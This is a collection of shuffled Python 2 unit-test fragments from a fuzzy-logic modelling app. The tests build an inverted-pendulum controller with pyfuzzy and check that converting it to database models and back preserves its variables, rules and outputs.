"input_dict[\"Phi\"] = math.radians(270.0) #: angle [rad] input_dict[\"dPhi_dT\"] = math.radians(90.0) #: angle velocity [rad/s]",
"self.assertEquals(new_arg, arg) self._test_norm(defuzzify.INF, new_defuzzify.INF) self._test_norm(defuzzify._INF, new_defuzzify._INF) self._test_norm(defuzzify.ACC, new_defuzzify.ACC) self._test_norm(defuzzify._ACC, new_defuzzify._ACC) def _test_rule(self, rule,",
"= self._createSystem() a_right_fast = new_pyfuzzy_system.variables[\"a\"].adjectives[\"right_fast\"] far_right = Rule( adjective=a_right_fast, # it gets its",
"= [ self._named_and_pyfuzzymixin_mock(\"iv%d\" % i) for i in xrange(1,2) ] self.output_variable_mock = [",
"test_output_variable_changing_one_set_and_rule(self): \" should return the correct output when changing all the sets to",
"implement a __init__ function # (never overrided the object.__init__) except TypeError: pass for",
"= [] try: for arg in inspect.getargspec(defuzzify.__init__).args: if arg != 'self' and arg",
"for i_inputs in xrange(0, len(operator.inputs)): inp = operator.inputs[i_inputs] new_inp = new_operator.inputs[i_inputs] self._test_operator(inp, new_inp)",
"value from here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), ) ), CER=CER",
"= self._mock_systemModel() new_pyfuzzy_system = new_system.get_pyfuzzy() # the expected pyfuzzy system pyfuzzy_system_expected = System(self.system_description)",
"_test_set(self, set, new_set): \" test only a given set \" self.assertIsInstance(new_set, set.__class__) params",
"segment_size=0.5) acceleration = new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.variables['a'] = acceleration import",
"var_value) for rule_name, rule in pyfuzzy_system_expected.rules.items(): new_rule = new_pyfuzzy_system.rules[rule_name] self._test_rule(rule, new_rule) pyfuzzy_system_expected.calculate(i_dict1, output_dict1)",
"ResetMock): def setUp(self): # self.aluno = mommy.make_one(Aluno) # from fuzzy_modeling.models.systems import SystemModel as",
"output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def _test_rules_adj_in_out_adjs(self, system): \"test if all the rules's adj are",
"= [] for var_name, var in system.variables.items(): #: is output if not hasattr(var,",
"th System \" from fuzzy_modeling.models import AdjectiveModel pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem()",
"that returns this name \"\"\" var = mock.Mock() var.name = name var.get_pyfuzzy =",
"\" self.assertIsInstance(new_adj, adj.__class__) self._test_set(adj.set, new_adj.set) if adj.COM is not None and new_adj.COM is",
"Adjective(Polygon([(-20.,1.),(-10.,0.)])) position.adjectives['left_near'] = Adjective(Polygon([(-20.,0.),(-5.,1.),(0.,0.)])) position.adjectives['stop'] = Adjective(Polygon([(-5.,0.),(0.,1.),(5.,0.)])) position.adjectives['right_near'] = Adjective(Polygon([(0.,0.),(5.,1.),(20.,0.)])) position.adjectives['right_far'] = Adjective(Polygon([(10.,0.),(20.,1.)]))",
"a given norm \" self.assertIsInstance(new_norm, norm.__class__) params = [] try: for arg in",
"new_var = new_pyfuzzy_system.variables[var_name] self.assertIsInstance(new_var, var.__class__) self.assertEquals(new_var.description, var.description) self.assertEquals(new_var.min, var.min) self.assertEquals(new_var.max, var.max) self.assertEquals(new_var.unit, var.unit)",
"= lambda : self.output_variable_mock self.set_pre_mock(SystemModel,'outputvariablemodel_set') SystemModel.outputvariablemodel_set = outputvariablemodel_set # mocking rulemodel_set rulemodel_set =",
"), ), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]) ), CER=CER ) system.rules['far right'] = Rule( adjective=a_right_fast, # it",
"a_right_slow = Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) acceleration.name = 'a' new_acceleration =",
"% (membership, new_membership, adj) ) def _test_set(self, set, new_set): \" test only a",
"import AlgebraicProduct CER = AlgebraicProduct() pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() system_model =",
"norm.__class__) params = [] try: for arg in inspect.getargspec(norm.__init__).args: if arg != 'self':",
"right'] = far_right self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict = {} input_dict[\"X\"] = 0.0 #:",
"operator.value) elif operator.__class__.__name__ == 'Input': self._test_adj(operator.adjective, new_operator.adjective) elif operator.__class__.__name__ == 'Not': self._test_operator(operator.input, new_operator.input)",
"= Adjective(Polygon([(0.,0.),(300.,1.),(600.,0.)])) angle_velocity.adjectives['ccw_fast'] = Adjective(Polygon([(300.,0.),(600.,1.)])) position = InputVariable(fuzzify=Plain(),description='position',min=-20.,max=20.,unit='meter') system.variables['X'] = position position.adjectives['left_far'] =",
"import ResetMock from fuzzy_modeling.models.systems import SystemModel from fuzzy.System import System class SystemModelTest(TestCase, ResetMock):",
"Polygon angle = InputVariable(fuzzify=Plain(),description='angle',min=0.,max=360.,unit='degrees') system.variables['Phi'] = angle angle.adjectives['up_more_right'] = Adjective(Polygon([(0.,0.),(30.,1.),(60.,0.)])) angle.adjectives['up_right'] = Adjective(Polygon([(30.,0.),(60.,1.),(90.,0.)]))",
"self.input_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"iv%d\" % i) for i in xrange(1,2) ] self.output_variable_mock =",
"for rule in self.rules_mock } pyfuzzy_system_expected.rules = rules_dict self.assertEquals(pyfuzzy_system_expected.description, new_pyfuzzy_system.description) self.assertDictEqual(pyfuzzy_system_expected.variables, new_pyfuzzy_system.variables) self.assertDictEqual(pyfuzzy_system_expected.rules,",
"= 0.0 #: velocity [m/s] input_dict[\"Phi\"] = math.radians(45.0) #: angle [rad] input_dict[\"dPhi_dT\"] =",
"self.assertDictEqual(pyfuzzy_system_expected.rules, new_pyfuzzy_system.rules) @classmethod def _createSystem(cls): import fuzzy.System system = fuzzy.System.System(description= \"\"\"This fuzzy system",
"#: is output if not hasattr(var, 'fuzzify'): for adj_name, adj in var.adjectives.items(): outputs_adjs.append(adj)",
"from here operator=Compound( Max(), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"stop\"]) ), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"])",
"operator) ) def test_set_only(self): \" should return the correct outout when only changing",
"as the output\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_rules_adj_in_out_adjs(pyfuzzy_system_expected) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_system_from_pyfuzzy_changing_a_single_rule(self):",
"= Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.variables['a'] = acceleration import math input_dict = {} input_dict[\"X\"] = 0.0",
"has the same adjectives as the output\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy()",
"= AdjectiveModel.from_pyfuzzy(a_stop).get_pyfuzzy() new_pyfuzzy_system.variables['a'].adjectives['stop'] = new_a_stop self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def test_output_variable_only(self): \" should return the",
"fuzzy.OutputVariable import OutputVariable from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon angle =",
"), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]) ), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]) ) ), CER=CER",
") system.rules['far left'] = Rule( adjective=a_left_fast, # it gets its value from here",
"normally symmetrical rules.\"\"\") from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.fuzzify.Plain",
"AdjectiveModel.from_pyfuzzy(a_stop).get_pyfuzzy() new_pyfuzzy_system.variables['a'].adjectives['stop'] = new_a_stop self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def test_output_variable_only(self): \" should return the correct",
"= new_pyfuzzy_system.variables[\"a\"].adjectives[\"right_fast\"] far_right = Rule( adjective=a_right_fast, # it gets its value from here",
"new_operator.inputs[i_inputs] self._test_operator(inp, new_inp) elif operator.__class__.__name__ == 'Const': self.assertEquals(new_operator.value, operator.value) elif operator.__class__.__name__ == 'Input':",
"Adjective(Polygon([(-10., 0.), (0., 1.), (10., 0.)]), COM=COM) a_stop.name = 'stop' new_a_stop = AdjectiveModel.from_pyfuzzy(a_stop).get_pyfuzzy()",
"shoud return the correct corresponding pyfuzzy object \" new_system = self._mock_systemModel() new_pyfuzzy_system =",
"a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.variables['a'] = acceleration import math input_dict = {} input_dict[\"X\"] =",
"fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon from fuzzy.defuzzify.COG import COG pyfuzzy_system_expected =",
"OutputVariableModel.from_pyfuzzy(acceleration).get_pyfuzzy() new_pyfuzzy_system.variables['a'] = acceleration import math input_dict = {} input_dict[\"X\"] = 0.0 #:",
"\" should return the correct outout when only changing the outputvar to a",
"output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_set_and_rule(self): \" should return the correct output",
"attr name and a get_pyfuzzy that returns this name \"\"\" var = mock.Mock()",
"from fuzzy.InputVariable import InputVariable from fuzzy.OutputVariable import OutputVariable from fuzzy.Adjective import Adjective from",
"mommy.make_one(Aluno) # from fuzzy_modeling.models.systems import SystemModel as SystemModelOriginal # import pdb; pdb.set_trace() #",
"InputVariable(fuzzify=Plain(),description='angle',min=0.,max=360.,unit='degrees') system.variables['Phi'] = angle angle.adjectives['up_more_right'] = Adjective(Polygon([(0.,0.),(30.,1.),(60.,0.)])) angle.adjectives['up_right'] = Adjective(Polygon([(30.,0.),(60.,1.),(90.,0.)])) angle.adjectives['up'] = Adjective(Polygon([(60.,0.),(90.,1.),(120.,0.)]))",
"angle = InputVariable(fuzzify=Plain(),description='angle',min=0.,max=360.,unit='degrees') system.variables['Phi'] = angle angle.adjectives['up_more_right'] = Adjective(Polygon([(0.,0.),(30.,1.),(60.,0.)])) angle.adjectives['up_right'] = Adjective(Polygon([(30.,0.),(60.,1.),(90.,0.)])) angle.adjectives['up']",
"e.message, new_set.getCOG) else: new_cog = new_set.getCOG() self.assertEquals(new_cog, cog) self.assertEquals(new_set.points, set.points) def _test_norm(self, norm,",
"import AlgebraicSum from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon COM = AlgebraicSum()",
"new_cog = None try: cog = set.getCOG() except Exception, e: # self.assertRaises(Exception, new_set.getCOG)",
"#from fuzzy.norm.DrasticSum import DrasticSum from fuzzy.norm.EinsteinSum import EinsteinSum from fuzzy.norm.DombiUnion import DombiUnion from",
"value from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) new_pyfuzzy_system.rules['far right'] = far_right self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math",
"Adjective from fuzzy.set.Polygon import Polygon from fuzzy.defuzzify.COG import COG pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system",
"pass for param_name in params: arg = getattr(defuzzify, param_name) new_arg = getattr(new_defuzzify, param_name)",
"self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() import math input_dict = {} input_dict[\"X\"] = 190.0 #:",
"new_adj.getMembership() # if membership != new_membership: # import pdb; pdb.set_trace() self.assertEquals( membership, new_membership,",
"acceleration.adjectives['stop'] = a_stop = Adjective(Polygon([(-10.,0.),(0.,1.),(10.,0.)]),COM=COM) acceleration.adjectives['right_slow'] = a_right_slow = Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast'] = a_right_fast",
"= Adjective(Polygon([(-600.,0.),(-300.,1.),(0.,0.)])) angle_velocity.adjectives['stop'] = Adjective(Polygon([(-300.,0.),(0.,1.),(300.,0.)])) angle_velocity.adjectives['ccw_slow'] = Adjective(Polygon([(0.,0.),(300.,1.),(600.,0.)])) angle_velocity.adjectives['ccw_fast'] = Adjective(Polygon([(300.,0.),(600.,1.)])) position =",
"= mock.Mock() rulemodel_set.all = lambda : self.rules_mock self.set_pre_mock(SystemModel,'rulemodel_set') SystemModel.rulemodel_set = rulemodel_set return self.system",
"Adjective(Polygon([(120.,0.),(150.,1.),(180.,0.)])) angle.adjectives['down_more_left'] = Adjective(Polygon([(180.,0.),(210.,1.),(240.,0.)])) angle.adjectives['down_left'] = Adjective(Polygon([(210.,0.),(240.,1.),(270.,0.)])) angle.adjectives['down'] = Adjective(Polygon([(240.,0.),(270.,1.),(300.,0.)])) angle.adjectives['down_right'] = Adjective(Polygon([(270.,0.),(300.,1.),(330.,0.)]))",
"output_a = new_pyfuzzy_system.variables[\"a\"] output_a.name = 'a' a_right_fast = output_a.adjectives[\"right_fast\"] a_right_fast.name = 'right_fast' far_right",
"and default norms INF = AlgebraicProduct() ACC = AlgebraicSum() COM = AlgebraicSum() CER",
"new_pyfuzzy_system.rules['far right'].adjective = a_right_fast import math input_dict = {} input_dict[\"X\"] = 0.0 #:",
"fuzzy.norm.AlgebraicProduct import AlgebraicProduct CER = AlgebraicProduct() pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() system_model",
"from fuzzy_modeling.tests.utils import ResetMock from fuzzy_modeling.models.systems import SystemModel from fuzzy.System import System class",
"= OutputVariable(defuzzify=COG,description='acceleration',min=-50.,max=50.,unit='meter per second^2') system.variables['a'] = acceleration acceleration.adjectives['left_fast'] = a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow']",
"output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_with_other_input(self): \" shoud return the correct corresponding",
"OutputVariable(defuzzify=COG,description='acceleration',min=-50.,max=50.,unit='meter per second^2') system.variables['a'] = acceleration acceleration.adjectives['left_fast'] = a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow'] =",
"arg) cog = None new_cog = None try: cog = set.getCOG() except Exception,",
"_test_operator(self, operator, new_operator): \"test only a given rule\" self.assertIsInstance(new_operator, operator.__class__) if operator.__class__.__name__ ==",
"the reason, it uses different fuzzy norm in normally symmetrical rules.\"\"\") from fuzzy.norm.AlgebraicProduct",
"%s\" % (membership, new_membership, adj) ) def _test_set(self, set, new_set): \" test only",
"self._createSystem() SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import",
"a_right_fast import math input_dict = {} input_dict[\"X\"] = 0.0 #: position [m] input_dict[\"dX_dT\"]",
"COG = COG(INF=INF,ACC=ACC,failsafe = 0., segment_size=0.5) from fuzzy.InputVariable import InputVariable from fuzzy.OutputVariable import",
"pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_changing_a_single_rule_from_model(self): \"test if work changing a",
"from fuzzy.operator.Not import Not system.rules['stop'] = Rule( adjective=a_stop, # it gets its value",
"fuzzy.defuzzify.COG import COG pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() INF = AlgebraicProduct() ACC",
"value, and changing the corresponding rule \" from fuzzy_modeling.models import OutputVariableModel from fuzzy.norm.AlgebraicSum",
"ACC = AlgebraicSum() COM = AlgebraicSum() CER = AlgebraicProduct() COG = COG(INF=INF,ACC=ACC,failsafe =",
"the new instance of same value \" from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.norm.AlgebraicProduct",
"#: velocity [m/s] input_dict[\"Phi\"] = math.radians(45.0) #: angle [rad] input_dict[\"dPhi_dT\"] = math.radians(0.0) #:",
"its value from here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), ) ),",
"\" from fuzzy_modeling.models import OutputVariableModel from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.norm.AlgebraicProduct import AlgebraicProduct",
"# (never overrided the object.__init__) except TypeError: pass for param_name in params: arg",
"new_op_call, msg=\"%s != %s in %s\" % (op_call, new_op_call, operator) ) def test_set_only(self):",
"INF = AlgebraicProduct() ACC = AlgebraicSum() COM = AlgebraicSum() COG = COG(INF=INF, ACC=ACC,",
"from here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), ) ), CER=CER )",
"self._named_and_pyfuzzymixin_mock(\"ov%d\" % i) for i in xrange(1,2) ] self.rules_mock = [ self._named_and_pyfuzzymixin_mock(\"r%d\" %",
"'Input': self._test_adj(operator.adjective, new_operator.adjective) elif operator.__class__.__name__ == 'Not': self._test_operator(operator.input, new_operator.input) op_call = operator() new_op_call",
"angle.adjectives['down'] = Adjective(Polygon([(240.,0.),(270.,1.),(300.,0.)])) angle.adjectives['down_right'] = Adjective(Polygon([(270.,0.),(300.,1.),(330.,0.)])) angle.adjectives['down_more_right'] = Adjective(Polygon([(300.,0.),(330.,1.),(360.,0.)])) angle_velocity = InputVariable(fuzzify=Plain(),description='angle velocity',min=-600.,max=600.,unit='degrees",
"# it gets its value from here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]),",
"AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"stop\"]) ), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]) ), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"])",
"CER=CER ) system.rules['tilts left'] = Rule( adjective=a_left_slow, # it gets its value from",
"if work changing a single rule, but from model\" from fuzzy_modeling.models import RuleModel",
"with another input\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() import math input_dict =",
"features of pyfuzzy. This is the reason, it uses different fuzzy norm in",
"= fuzzy.System.System(description= \"\"\"This fuzzy system is to control the inverted pendulum into an",
"def _test_norm(self, norm, new_norm): \" test only a given norm \" self.assertIsInstance(new_norm, norm.__class__)",
"= Adjective(Polygon([(120.,0.),(150.,1.),(180.,0.)])) angle.adjectives['down_more_left'] = Adjective(Polygon([(180.,0.),(210.,1.),(240.,0.)])) angle.adjectives['down_left'] = Adjective(Polygon([(210.,0.),(240.,1.),(270.,0.)])) angle.adjectives['down'] = Adjective(Polygon([(240.,0.),(270.,1.),(300.,0.)])) angle.adjectives['down_right'] =",
"[] try: for arg in inspect.getargspec(norm.__init__).args: if arg != 'self': params.append(arg) # will",
"also is used to demonstrate some features of pyfuzzy. This is the reason,",
"all the sets to the new instance of same value \" from fuzzy.norm.AlgebraicSum",
"i_dict2 = input_dict.copy() output_dict1 = { 'a' : 0.0 #: acceleration [m/s²] }",
"position [m] input_dict[\"dX_dT\"] = 500.0 #: velocity [m/s] input_dict[\"Phi\"] = math.radians(270.0) #: angle",
"'stop' new_a_stop = AdjectiveModel.from_pyfuzzy(a_stop).get_pyfuzzy() new_pyfuzzy_system.variables['a'].adjectives['stop'] = new_a_stop self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def test_output_variable_only(self): \" should",
"= a_right_fast import math input_dict = {} input_dict[\"X\"] = 0.0 #: position [m]",
"Model for the pyfuzzy object \" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system,",
"= input_dict.copy() i_dict2 = input_dict.copy() output_dict1 = { 'a' : 0.0 #: acceleration",
"= lambda : self.input_variable_mock self.set_pre_mock(SystemModel,'inputvariablemodel_set') SystemModel.inputvariablemodel_set = inputvariablemodel_set # mocking outputvariablemodel_set outputvariablemodel_set =",
"lambda systme=None: name return var def _mock_systemModel(self): self.system_description = \"System description\" self.system =",
"math input_dict = {} input_dict[\"X\"] = 0.0 #: position [m] input_dict[\"dX_dT\"] = 0.0",
"right'] = Rule( adjective=a_right_slow, # it gets its value from here operator=Compound( AlgebraicProduct(),",
"new_defuzzify): \" test only a given fuzzify \" self.assertIsInstance(new_defuzzify, defuzzify.__class__) params = []",
"] self.rules_mock = [ self._named_and_pyfuzzymixin_mock(\"r%d\" % i) for i in xrange(1,2) ] #",
"self.assertEquals(new_set.points, set.points) def _test_norm(self, norm, new_norm): \" test only a given norm \"",
"a_right_fast.name = 'right_fast' far_right = Rule( adjective=a_right_fast, # it gets its value from",
"__init__ function # (never overrided the object.__init__) except TypeError: pass for param_name in",
"AlgebraicProduct from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.fuzzify.Plain import Plain from fuzzy.defuzzify.COG import COG",
"params: arg = getattr(defuzzify, param_name) new_arg = getattr(new_defuzzify, param_name) self.assertEquals(new_arg, arg) self._test_norm(defuzzify.INF, new_defuzzify.INF)",
": 0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) for",
"len(operator.inputs)): inp = operator.inputs[i_inputs] new_inp = new_operator.inputs[i_inputs] self._test_operator(inp, new_inp) elif operator.__class__.__name__ == 'Const':",
"self._createSystem() new_pyfuzzy_system = self._createSystem() SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.Adjective import Adjective",
"rule\" self.assertIsInstance(new_operator, operator.__class__) if operator.__class__.__name__ == 'Compound': self._test_norm(operator.norm, new_operator.norm) for i_inputs in xrange(0,",
"operator.inputs[i_inputs] new_inp = new_operator.inputs[i_inputs] self._test_operator(inp, new_inp) elif operator.__class__.__name__ == 'Const': self.assertEquals(new_operator.value, operator.value) elif",
"from fuzzy.defuzzify.COG import COG from fuzzy.OutputVariable import OutputVariable pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system =",
"Input(system.variables[\"X\"].adjectives[\"left_far\"]) ), Compound( EinsteinSum(), Input(system.variables[\"dX_dT\"].adjectives[\"left_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"left_fast\"]) ) ), ), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]) ), CER=CER )",
"xrange(1,2) ] self.output_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"ov%d\" % i) for i in xrange(1,2) ]",
"rule_name, rule in pyfuzzy_system_expected.rules.items(): new_rule = new_pyfuzzy_system.rules[rule_name] self._test_rule(rule, new_rule) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2)",
"Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"left_near\"]), Input(system.variables[\"X\"].adjectives[\"left_far\"]) ), Compound( EinsteinSum(), Input(system.variables[\"dX_dT\"].adjectives[\"left_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"left_fast\"]) ) ), ), Input(system.variables[\"Phi\"].adjectives[\"up_right\"])",
"CER=CER ) system.rules['far right'] = Rule( adjective=a_right_fast, # it gets its value from",
"new_rule self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict = {} input_dict[\"X\"] = 0.0 #: position [m]",
"test_system_from_pyfuzzy(self): \" shoud return the correct corresponding Model for the pyfuzzy object \"",
"Input(system.variables[\"dX_dT\"].adjectives[\"right_fast\"]) ) ), ), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]) ), CER=CER ) system.rules['far right'] = Rule( adjective=a_right_fast,",
"new_arg = getattr(new_defuzzify, param_name) self.assertEquals(new_arg, arg) self._test_norm(defuzzify.INF, new_defuzzify.INF) self._test_norm(defuzzify._INF, new_defuzzify._INF) self._test_norm(defuzzify.ACC, new_defuzzify.ACC) self._test_norm(defuzzify._ACC,",
"new_system.get_pyfuzzy() # the expected pyfuzzy system pyfuzzy_system_expected = System(self.system_description) variable_dict = { var.name",
"adj\" outputs_adjs = [] for var_name, var in system.variables.items(): #: is output if",
"fuzzy.set.Polygon import Polygon angle = InputVariable(fuzzify=Plain(),description='angle',min=0.,max=360.,unit='degrees') system.variables['Phi'] = angle angle.adjectives['up_more_right'] = Adjective(Polygon([(0.,0.),(30.,1.),(60.,0.)])) angle.adjectives['up_right']",
"xrange(1,2) ] # mocking inputvariablemodel_set # inputvariablemodel_set = lambda : None inputvariablemodel_set =",
"system = fuzzy.System.System(description= \"\"\"This fuzzy system is to control the inverted pendulum into",
"in pyfuzzy_system_expected.rules.items(): new_rule = new_pyfuzzy_system.rules[rule_name] self._test_rule(rule, new_rule) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a'])",
"= AlgebraicSum() a_stop = Adjective(Polygon([(-10., 0.), (0., 1.), (10., 0.)]), COM=COM) a_stop.name =",
"{} input_dict[\"X\"] = 190.0 #: position [m] input_dict[\"dX_dT\"] = 500.0 #: velocity [m/s]",
"its value from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) far_right.name = 'far right' rule_model =",
"self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_changing_a_single_rule_from_model(self): \"test if work changing a single rule, but from",
"system.variables.items(): #: is output if not hasattr(var, 'fuzzify'): for adj_name, adj in var.adjectives.items():",
"[] try: for arg in inspect.getargspec(defuzzify.__init__).args: if arg != 'self' and arg !=",
"self.assertIsInstance(new_rule, rule.__class__) self.assertEquals(rule.certainty, new_rule.certainty) self._test_adj(rule.adjective, new_rule.adjective) self._test_norm(rule.CER, new_rule.CER) self._test_norm(rule.CER, new_rule.CER) self._test_operator(rule.operator, new_rule.operator) def",
"% i) for i in xrange(1,2) ] self.rules_mock = [ self._named_and_pyfuzzymixin_mock(\"r%d\" % i)",
"lambda : self.input_variable_mock self.set_pre_mock(SystemModel,'inputvariablemodel_set') SystemModel.inputvariablemodel_set = inputvariablemodel_set # mocking outputvariablemodel_set outputvariablemodel_set = mock.Mock()",
"fuzzy.operator.Not import Not system.rules['stop'] = Rule( adjective=a_stop, # it gets its value from",
"fuzzy.defuzzify.COG import COG # set defuzzification method and default norms INF = AlgebraicProduct()",
"from fuzzy.OutputVariable import OutputVariable pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() INF = AlgebraicProduct()",
"the object.__init__) except TypeError: pass for param_name in params: arg = getattr(norm, param_name)",
"self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_sets_only(self): \" should return the correct output when changing all",
"inputvariablemodel_set # mocking outputvariablemodel_set outputvariablemodel_set = mock.Mock() outputvariablemodel_set.all = lambda : self.output_variable_mock self.set_pre_mock(SystemModel,'outputvariablemodel_set')",
"a_right_fast = output_a.adjectives[\"right_fast\"] a_right_fast.name = 'right_fast' far_right = Rule( adjective=a_right_fast, # it gets",
"== 'Const': self.assertEquals(new_operator.value, operator.value) elif operator.__class__.__name__ == 'Input': self._test_adj(operator.adjective, new_operator.adjective) elif operator.__class__.__name__ ==",
"check if a rule has the same adjectives as the output\" pyfuzzy_system_expected =",
"same adjectives as the output\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_rules_adj_in_out_adjs(pyfuzzy_system_expected) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system)",
"pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() a_right_fast = new_pyfuzzy_system.variables[\"a\"].adjectives[\"right_fast\"] far_right = Rule( adjective=a_right_fast,",
